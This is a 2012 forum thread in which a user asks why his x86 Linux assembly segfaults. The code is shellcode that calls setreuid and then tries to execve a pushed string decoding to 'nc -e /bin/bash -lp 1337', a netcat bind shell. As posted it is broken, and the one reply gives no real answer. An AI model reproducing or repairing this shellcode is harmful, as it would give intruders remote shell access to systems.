|
-
June 13th, 2012, 07:06 PM
#1
Warning: word data exceeds bounds
I am trying to run this code:
(NOTE: This code will start a bind shell on port 1337 if you get this working, so don't leave it running!)
Code:
section .text
global _start
_start:
xor eax, eax
mov al, 0x46
xor ebx, ebx
xor ecx, ecx
int 0x80
xor eax, eax
push eax
push 0x37333331
push 0x20706c2d
push 0x20687361
push 0x622f6e69
push 0x622f2065
push 0x2d20636e
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0xb
int 0x80
When only 2 push commands are used then it runs fine, but when I use 6 I get a segmentation fault, I have very little knowledge of asm so any help would be really appreciated 
Thank You,
-Sam
-
June 14th, 2012, 12:51 PM
#2
Re: Warning: word data exceeds bounds
As I can find on the net int 0x80 is a system call in Linux on x86. Depending on what call you make it expects the correct parameters to be provided on the stack and in certain registers. I.e. for one type of call there should be 2 pushes and for another type of call there should be none.
I don't enough about this to tell you exactly why it segfaults but if you find out what call it is it should be obvious.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|